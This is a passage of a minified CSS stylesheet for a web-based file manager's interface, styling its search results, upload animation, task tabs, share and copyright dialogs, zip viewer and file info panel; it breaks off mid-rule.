.keyword{background:#ffef65;color:#000;}.do-search-box .search-result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do-search-box .search-result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do-search-box .search-result .file-item .result-item .result-info:hover{background:#eee;}.do-search-box .search-result .file-item .result-item .result-info.this,.do-search-box .search-result .file-item .result-item .result-info.this:hover{background:#63acff;}.do-search-box .search-result .file-item .result-item .result-info.this .line,.do-search-box .search-result .file-item .result-item .result-info.this .search-info,.do-search-box .search-result .file-item .result-item .result-info.this:hover .line,.do-search-box .search-result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do-search-box .search-result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do-search-box .search-result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace, 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do-search-box .search-result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}body#page-desktop .topbar .content .topbar-menu{border-color:rgba(255,255,255,0.01);}.full-background{position:absolute;overflow:hidden;z-index:0;}.aero:before{position:absolute;top:0;right:0;bottom:0;left:0;z-index:-1;box-sizing:border-box;background-position:center center;background-size:cover;background-repeat:no-repeat;background-attachment:fixed;content:'';-webkit-filter:blur(4px) brightness(1.0);filter:blur(4px) brightness(1.0);clip-path:inset(0);}.aero:after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:-2;box-sizing:border-box;background-position:center center;background-size:cover;background-repeat:no-repeat;background-attachment:fixed;clip-path:inset(0);}.task-tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task-tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task-tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task-tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task-tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init-loading{position:fixed;left:50%;top:50%;margin-left:-52px;margin-top:-45px;font-size:1.25em;z-index:999999;width:auto;}.init-loading div{padding:20px;background:#fff;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:50px;}.init-loading img{border-radius:10px;}.space-info-bar{width:110px;}.space-info-bar .space-process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space-info-bar .space-process .space-process-use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.space-info-bar .space-process .space-process-use.warning{background-color:#f00 !important;}.bindary-box{width:300px;margin:0 auto;padding-bottom:40px;border:1px solid #ddd;border:1px solid rgba(0,0,0,0.2);background:#fff;box-shadow:0 1px 5px rgba(0,0,0,0.4);margin-top:5%;border-radius:4px;}.bindary-box .title{width:100%;height:150px;padding-top:20px;border-radius:3px 3px 0 0;background:#6699cc url("../../../images/common/login.png") -110px 0px;}.bindary-box .ico{width:140px;height:140px;border-radius:100px;overflow:hidden;margin:0 auto;background:rgba(255,255,255,0.4);text-align:center;}.bindary-box .ico img{width:80%;padding-top:15px;}.bindary-box .content-info{text-align:center;}.bindary-box .content-info .name{padding:30px;padding-bottom:2px;font-size:22px;word-wrap:break-word;word-break:break-all;}.bindary-box .content-info .size{color:#888;}.bindary-box .content-info .size i{font-style:normal;color:#aaa;padding-left:10px;}.bindary-box .content-info .btn-group{margin-top:25px;}.bindary-box .content-info .btn-download{width:115px;}.bindary-box .content-info .dropdown-toggle{height:20px;}.bindary-box .content-info .error-tips{padding-top:15px;color:#bbb;}.dialog-app-select .app-list{border:1px solid #ddd;padding:25px 0 0 10px;height:280px;overflow:auto;overflow-x:hidden;border-radius:4px;background:#f5f5f5;}.dialog-app-select .app-list .app-item{border:1px solid #f5f5f5;width:95px;height:110px;border-radius:4px;transition:all 0.2s ease 0s;margin:0 10px 10px 0;text-align:center;float:left;color:#444;text-decoration:none;}.dialog-app-select .app-list .app-item:hover{border-color:#77c2ff;background:#def;}.dialog-app-select .app-list .app-item.select{border-color:#559cec;background:#63acff;color:#fff;}.dialog-app-select .app-list .app-item .ico{width:64px;height:64px;display:table-cell;vertical-align:middle;padding:5px 0 0 16px;}.dialog-app-select .app-list .app-item .ico img{width:100%;height:auto;}.dialog-app-select .app-list .app-item .ico .x-item-file{display:block;}.dialog-app-select .app-list .app-item .ico [class^="icon-"].font-icon,.dialog-app-select .app-list .app-item .ico [class*="icon-"].font-icon{width:56px;height:56px;line-height:60px;font-size:28px;padding:0px;text-align:center;margin-top:-2px;border-radius:12px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(3,169,244,0.7)', endColorstr='rgba(63,81,181,0.5)');background-image:-webkit-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:-moz-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:-o-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:-ms-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));-pie-background:linear-gradient(to 164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));color:#fff;display:inline-block;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}.zip-view-dialog .aui-content{min-width:400px;position:relative;}.zip-view-dialog .aui-title{height:90px;}.zip-view-dialog .zip-view-content{position:absolute;left:0;right:0;bottom:0;top:0px;margin:0px;min-width:400px;border:none;}.zip-view-dialog .zip-view-content .header{height:90px;background-color:#2c41b3;background-image:linear-gradient(to bottom,#2c41b3 0,#222b5d 100%);color:#fff;position:relative;}.zip-view-dialog .zip-view-content .header .bg{background:url("../../../images/common/banner/fly.png") 100px -300px;width:100%;height:100%;position:absolute;}.zip-view-dialog .zip-view-content .header .icon{width:56px;height:56px;position:absolute;left:20px;top:20px;}.zip-view-dialog .zip-view-content .header .name,.zip-view-dialog .zip-view-content .header .desc{position:absolute;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;width:80%;}.zip-view-dialog .zip-view-content .header .name{margin:22px 0 0 90px;font-size:18px;font-weight:800;}.zip-view-dialog .zip-view-content .header .desc{margin:50px 0 0 90px;}.zip-view-dialog .zip-view-content .zip-header-title{height:23px;line-height:23px;border-bottom:1px solid #ddd;border-top:1px solid #ddd;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;}.zip-view-dialog .zip-view-content .zip-header-title .item{float:left;}.zip-view-dialog .zip-view-content .zip-header-title .item span{display:block;border-right:1px solid #ddd;padding-left:10px;cursor:default;}.zip-view-dialog .zip-view-content .zip-header-title .name{width:60%;}.zip-view-dialog .zip-view-content .zip-header-title .size{width:10%;}.zip-view-dialog .zip-view-content .zip-header-title .mtime{width:30%;}.zip-view-dialog .zip-view-content .zip-header-title .item.mtime span{border-right:none;}.zip-view-dialog .zip-view-content .ztree{padding:0px;position:absolute;top:115px;left:0;right:0px;bottom:0;overflow:auto;}.zip-view-dialog .zip-view-content .ztree li,.zip-view-dialog .zip-view-content .ztree li ul{width:100%;}.zip-view-dialog .zip-view-content .ztree li a{position:relative;padding-left:0;color:#333;text-shadow:none;}.zip-view-dialog .zip-view-content .ztree li a:hover{transition:none;}.zip-view-dialog .zip-view-content .ztree li a.odd{background:#f1f7ff;}.zip-view-dialog .zip-view-content .ztree li a:hover,.zip-view-dialog .zip-view-content .ztree li a.odd:hover{background:#fdeec3;}.zip-view-dialog .zip-view-content .ztree li a.curSelectedNode,.zip-view-dialog .zip-view-content .ztree li a.odd.curSelectedNode{background:#63acff;color:#fff;}.zip-view-dialog .zip-view-content .ztree li a .name{width:45%;overflow:hidden;position:absolute;word-break:break-all;text-overflow:ellipsis;}.zip-view-dialog .zip-view-content .ztree li a .time{width:27%;opacity:0.8;font-size:12px;position:absolute;left:72%;}.zip-view-dialog .zip-view-content .ztree li a .size{width:10%;opacity:0.8;font-size:12px;position:absolute;left:62%;}.zip-view-dialog .zip-view-content .ztree li a .menu-item-parent{display:none;position:absolute;right:0px;top:0;text-align:center;width:25px;height:24px;background:#fff;background:rgba(50,50,50,0.1);color:#666;}.zip-view-dialog .zip-view-content .ztree li a:hover .menu-item-parent{display:block;}.zip-view-dialog .zip-view-content .ztree li a.curSelectedNode .menu-item-parent{display:block;color:#fff;}.dialog-min-size.zip-view-dialog .aui-title{height:auto !important;}.dialog-min-size.zip-view-dialog .aui-header .aui-min,.dialog-min-size.zip-view-dialog .aui-header .aui-max,.dialog-min-size.zip-view-dialog .aui-header .aui-close{color:#ddd;}.support-space-not .share-dialog .content-box .content-info{padding:30px 20px 30px 20px;}.support-space-not .system-content .right-frame .group-title .group-size{display:none !important;}.support-space-not .size-max-set,.support-space-not .user-setting-more-btn,.support-space-not .user-setting-more{display:none;}.support-space-not .user-list .space,.support-space-not .share-view-info,.support-space-not .user-space-info{display:none;}.support-space-not .frame-main .user-space-info{display:none !important;}.support-space-not .frame-main .frame-left .group-space-use{display:none !important;}.support-space-not .frame-main .frame-left #folder-list-tree{bottom:70px;}.support-space-not .user-space-menu-cell{display:none !important;}.dropdown-menu.menu-topbar-user{right:6px;}.version-vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version-vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version-vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version-vip#version_vip_3,.version-vip#version_vip_4,.version-vip#version_vip_5,.version-vip#version_vip_6{color:#fff;background:#ffc107;}.version-vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version-license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version-license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#FF9800;background:linear-gradient(to top left,#FF9800,#FF5722);text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.9;filter:alpha(opacity=90);}.version-license a.line:hover{opacity:0.7;filter:alpha(opacity=70);}.path-select-input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.dialog-copyright{width:400px !important;}.dialog-copyright,.share-dialog,.check-version-dialog{min-width:400px;}.dialog-copyright.dialog-simple .aui-outer,.share-dialog.dialog-simple .aui-outer,.check-version-dialog.dialog-simple .aui-outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border-radius:5px;border:none;}.dialog-copyright.dialog-simple .aui-outer,.dialog-copyright.dialog-simple .aui-outer.dialog-mouse-in,.share-dialog.dialog-simple .aui-outer,.share-dialog.dialog-simple .aui-outer.dialog-mouse-in,.check-version-dialog.dialog-simple .aui-outer,.check-version-dialog.dialog-simple .aui-outer.dialog-mouse-in{border:none;}.dialog-copyright.dialog-simple .aui-outer .aui-main,.dialog-copyright.dialog-simple .aui-outer.dialog-mouse-in .aui-main,.share-dialog.dialog-simple .aui-outer .aui-main,.share-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-main,.check-version-dialog.dialog-simple .aui-outer .aui-main,.check-version-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-main{border:none;}.dialog-copyright.dialog-simple .aui-outer .aui-header,.dialog-copyright.dialog-simple .aui-outer.dialog-mouse-in .aui-header,.share-dialog.dialog-simple .aui-outer .aui-header,.share-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-header,.check-version-dialog.dialog-simple .aui-outer .aui-header,.check-version-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-header{border:none;}.dialog-copyright.dialog-simple .aui-header,.share-dialog.dialog-simple .aui-header,.check-version-dialog.dialog-simple .aui-header{background:transparent;opacity:1.0;filter:alpha(opacity=100);border:none;}.dialog-copyright.dialog-simple .aui-nw,.dialog-copyright.dialog-simple .aui-n,.dialog-copyright.dialog-simple .aui-ne,.dialog-copyright.dialog-simple .aui-w,.dialog-copyright.dialog-simple .aui-e,.dialog-copyright.dialog-simple .aui-sw,.dialog-copyright.dialog-simple .aui-s,.dialog-copyright.dialog-simple .aui-se,.share-dialog.dialog-simple .aui-nw,.share-dialog.dialog-simple .aui-n,.share-dialog.dialog-simple .aui-ne,.share-dialog.dialog-simple .aui-w,.share-dialog.dialog-simple .aui-e,.share-dialog.dialog-simple .aui-sw,.share-dialog.dialog-simple .aui-s,.share-dialog.dialog-simple .aui-se,.check-version-dialog.dialog-simple .aui-nw,.check-version-dialog.dialog-simple .aui-n,.check-version-dialog.dialog-simple .aui-ne,.check-version-dialog.dialog-simple .aui-w,.check-version-dialog.dialog-simple .aui-e,.check-version-dialog.dialog-simple .aui-sw,.check-version-dialog.dialog-simple .aui-s,.check-version-dialog.dialog-simple .aui-se{height:0px;width:0px;background:none;}.dialog-copyright.dialog-simple .aui-inner,.share-dialog.dialog-simple .aui-inner,.check-version-dialog.dialog-simple .aui-inner{border:none;background:none;}.dialog-copyright.dialog-simple .aui-title,.share-dialog.dialog-simple .aui-title,.check-version-dialog.dialog-simple .aui-title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.dialog-copyright.dialog-simple .aui-min,.dialog-copyright.dialog-simple .aui-max,.share-dialog.dialog-simple .aui-min,.share-dialog.dialog-simple .aui-max,.check-version-dialog.dialog-simple .aui-min,.check-version-dialog.dialog-simple .aui-max{display:none;}.dialog-copyright.dialog-simple .aui-title-bar,.share-dialog.dialog-simple .aui-title-bar,.check-version-dialog.dialog-simple .aui-title-bar{bottom:0px;overflow:hidden;height:100px;position:absolute;margin-top:-120px;top:120px;margin-left:0px;border-radius:4px;}.dialog-copyright.dialog-simple .aui-close,.share-dialog.dialog-simple .aui-close,.check-version-dialog.dialog-simple .aui-close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.dialog-copyright.dialog-simple .aui-close:hover,.share-dialog.dialog-simple .aui-close:hover,.check-version-dialog.dialog-simple .aui-close:hover{opacity:0.6;filter:alpha(opacity=60);}.dialog-copyright.dialog-simple .aui-close:active,.share-dialog.dialog-simple .aui-close:active,.check-version-dialog.dialog-simple .aui-close:active{opacity:1.0;filter:alpha(opacity=100);}.dialog-copyright.dialog-simple .aui-close::before,.share-dialog.dialog-simple .aui-close::before,.check-version-dialog.dialog-simple .aui-close::before{padding-left:22px;line-height:140px;}.dialog-copyright .aui-footer,.share-dialog .aui-footer,.check-version-dialog .aui-footer{display:none;}.check-version-dialog .update-box{margin-top:0px;}.pathinfo .input-group-btn .open-window{margin-right:-1px;border-radius:0px;}.dialog-copyright .dialog-copyright-content,.check-version-dialog .aui-content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.dialog-copyright .dialog-copyright-content .title,.check-version-dialog .aui-content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.dialog-copyright .dialog-copyright-content .title .logo,.check-version-dialog .aui-content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.dialog-copyright .dialog-copyright-content .title .logo i,.check-version-dialog .aui-content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.dialog-copyright .dialog-copyright-content .title .info,.check-version-dialog .aui-content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.dialog-copyright .dialog-copyright-content .content,.check-version-dialog .aui-content .content{padding:20px;}.dialog-copyright .dialog-copyright-content .content p,.check-version-dialog .aui-content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.dialog-copyright .dialog-copyright-content .content a,.check-version-dialog .aui-content .content a{padding-right:5px;}.dialog-copyright .dialog-copyright-content .content div,.check-version-dialog .aui-content .content div{text-align:center;padding-bottom:5px;}.check-version-dialog.dialog-simple .aui-title-bar{margin-top:-120px;}.share-dialog .content-box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share-dialog .content-box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share-dialog .content-box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share-dialog .content-box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share-dialog .content-box .share-view-info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share-dialog .content-box .content-info{padding:30px 20px;}.share-dialog .content-box .content-info .share-more{margin:10px 0 10px 90px;}.share-dialog .content-box .content-info .share-setting-more{border-top:1px solid #eee;background:#f8f8f8;border-radius:4px;padding:25px 0 15px 0;margin-top:-22px;}.share-dialog .content-box .content-info .input-line{margin:6px 0 8px 0;position:relative;}.share-dialog .content-box .content-info .input-line .input-title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share-dialog .content-box .content-info .input-line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share-dialog .content-box .content-info .input-line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.share-dialog .content-box .content-info .input-line label{margin-top:8px;margin-right:10px;}.share-dialog .content-box .content-info .input-line label input{margin:0 5px 5px 0;}.share-dialog .content-box .content-info .input-line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;line-height:30px;}.share-dialog .content-box .content-info .input-line .desc.label{line-height:20px;margin-top:5px;padding:2px 6px;}.share-dialog .content-box .content-info .input-line .share-name{width:215px;margin-right:10px;}.share-dialog .content-box .content-info .input-line .share-url{margin-right:0;border-radius:3px 0 0 3px;width:150px !important;height:33px;}.share-dialog .content-box .content-info .input-line .input-group-btn{float:left;}.share-dialog .content-box .content-info .input-line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share-dialog .content-box .content-info .input-line .input-group-btn .btn{margin-left:-5px;}.share-dialog .content-box .content-info .input-line .input-group-btn .btn.copy{margin-left:-12px;color:#03A9F4;}.share-dialog .content-box .content-info .input-line .share-copy{width:60px;border-radius:0px;margin-left:-7px;}.share-dialog .content-box .content-info .input-line.select-path input[type="text"]{width:155px;}.share-dialog .content-box .content-info .input-line.select-path a.select-btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share-dialog .content-box .content-info .share-others{margin:-8px 0 -8px 0;}.share-dialog .content-box .share-action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share-dialog .content-box .share-action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share-dialog .content-box .share-action .share-remove-button,.share-dialog .content-box .share-action .remove-button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share-dialog .content-box .share-action .share-remove-button:hover,.share-dialog .content-box .share-action .remove-button:hover{color:#f30;}.file-list-icon .file{position:relative;}.file-list-icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.file-list-icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.file-list-list .file{position:relative;}.file-list-list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.file-list-list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui-footer .aui-buttons{padding:15px;}.pathSelectApi .aui-footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.file-continer .file.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.file-continer .file.file-not-readable,body div.file-continer .file.file-not-readable.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-readable,body .frame-main .frame-left .ztree li a.file-not-readable.file-not-writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.badge-tag{position:absolute;right:5px;margin-top:-35px;padding:0 6px;font-weight:800;font-style:normal;height:20px;min-width:15px;line-height:20px;border-radius:10px;background:#f5222d;color:#fff;text-align:center;}.url-link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui-content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:350px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download-url{padding:0px 5px;width:140px;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info-chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:240px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file-md5-loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.pathinfo .download-url{margin-right:0;border-radius:3px 0 0 3px;}.file-drag-upload .aui-content{overflow-y:scroll;}.fileupload{padding-left:25px;}.fileupload 